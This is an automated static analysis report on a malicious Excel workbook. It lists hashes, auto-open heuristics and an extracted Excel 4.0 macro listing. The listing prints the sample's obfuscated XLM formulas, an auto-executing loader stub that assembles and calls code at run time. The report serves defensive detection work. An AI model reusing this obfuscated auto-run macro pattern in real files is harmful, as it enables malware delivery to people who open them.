Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 094db860ba09ed67…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:30:26 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 1e5a667fc53f0e1c5dea74ddf9490f70 SHA-1: 594e3abbbfb931dc8df67f991ecb7ffc5f80b843 SHA-256: 094db860ba09ed67d98a58f84d22b8c919a6bba1d772f164399aa7654e8bf9e0
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6509 bytes
SHA-256: 947a35904bf89351711b108694cdbee60bb44d701905e6e21968341b46a6169f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  nFDNfx
' 0018     24 LABEL : Cell Value, String Constant - ANpKHcWge len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E140 
' 0018     23 LABEL : Cell Value, String Constant - bbduDpkg len=0 
' 0018     26 LABEL : Cell Value, String Constant - bQSHnlvwFtg len=0 
' 0018     26 LABEL : Cell Value, String Constant - bVKxjoBNbAx len=0 
' 0018     26 LABEL : Cell Value, String Constant - CFIYjFnOByO len=0 
' 0018     24 LABEL : Cell Value, String Constant - gmAknRqsQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - HAxnSThpSv len=0 
' 0018     26 LABEL : Cell Value, String Constant - iVelgSSDCaT len=0 
' 0018     20 LABEL : Cell Value, String Constant - kmpfv len=0 
' 0018     25 LABEL : Cell Value, String Constant - LLdgsiFCaa len=0 
' 0018     22 LABEL : Cell Value, String Constant - LYtioaP len=0 
' 0018     25 LABEL : Cell Value, String Constant - nMPVWNGsso len=0 
' 0018     22 LABEL : Cell Value, String Constant - onQNvEr len=0 
' 0018     25 LABEL : Cell Value, String Constant - oVueolyUBr len=0 
' 0018     21 LABEL : Cell Value, String Constant - pCzSZf len=0 
' 0018     23 LABEL : Cell Value, String Constant - UDkJLpkF len=0 
' 0018     27 LABEL : Cell Value, String Constant - UyBKVihzIVgI len=0 
' 0018     20 LABEL : Cell Value, String Constant - VeOhj len=0 
' 0018     26 LABEL : Cell Value, String Constant - xEDbkHVnsdB len=0 
' 0018     26 LABEL : Cell Value, String Constant - YENgSnThSzZ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  nFDNfx,E45,"SET.NAME("ANpKHcWge",VALUE("0"))",""
'  nFDNfx,E47,"SET.NAME("LYtioaP",ANpKHcWge)",""
'  nFDNfx,E51,"SET.NAME("LLdgsiFCaa",ANpKHcWge)",""
'  nFDNfx,E56,"SET.NAME("UDkJLpkF",COUNTA(iVelgSSDCaT))",""
'  nFDNfx,E58,"SET.NAME("CFIYjFnOByO",COUNTA(bVKxjoBNbAx))",""
'  nFDNfx,E62,[],""
'  nFDNfx,E67,"SET.NAME("onQNvEr","")",""
'  nFDNfx,E71,"LYtioaP",""
'  nFDNfx,E76,"SET.NAME("kmpfv",HLOOKUP("*",iVelgSSDCaT,LYtioaP,FALSE))",""
'  nFDNfx,E80,"oVueolyUBr",""
'  nFDNfx,E82,"SET.NAME("nMPVWNGsso",ANpKHcWge)",""
'  nFDNfx,E84,[],""
'  nFDNfx,E88,"nMPVWNGsso",""
'  nFDNfx,E93,"VeOhj",""
'  nFDNfx,E95,"pCzSZf",""
'  nFDNfx,E98,"xEDbkHVnsdB",""
'  nFDNfx,E102,"SET.NAME("YENgSnThSzZ",VALUE(HLOOKUP("*",bVKxjoBNbAx,xEDbkHVnsdB,FALSE)))",""
'  nFDNfx,E104,"bbduDpkg",""
'  nFDNfx,E108,"onQNvEr",""
'  nFDNfx,E112,"LLdgsiFCaa",""
'  nFDNfx,E117,NEXT(),""
'  nFDNfx,E121,"gmAknRqsQ",""
'  nFDNfx,E124,"SET.NAME("f",INT(T(FORMULA(T(onQNvEr)&"",""&T(gmAknRqsQ)))))",""
'  nFDNfx,E129,"bQSHnlvwFtg",""
'  nFDNfx,E134,NEXT(),""
'  nFDNfx,E138,RETURN(),""
'  nFDNfx,E166,"SET.NAME("UyBKVihzIVgI",E45)",""
'  nFDNfx,E170,"iVelgSSDCaT",""
'  nFDNfx,E175,"SET.NAME("bVKxjoBNbAx",R73C13)",""
'  nFDNfx,E178,"SET.NAME("bQSHnlvwFtg",186)",""
'  nFDNfx,E182,"SET.NAME("HAxnSThpSv",5)",""
'  nFDNfx,E185,UyBKVihzIVgI(),""
'  nFDNfx,E186,HALT(),""

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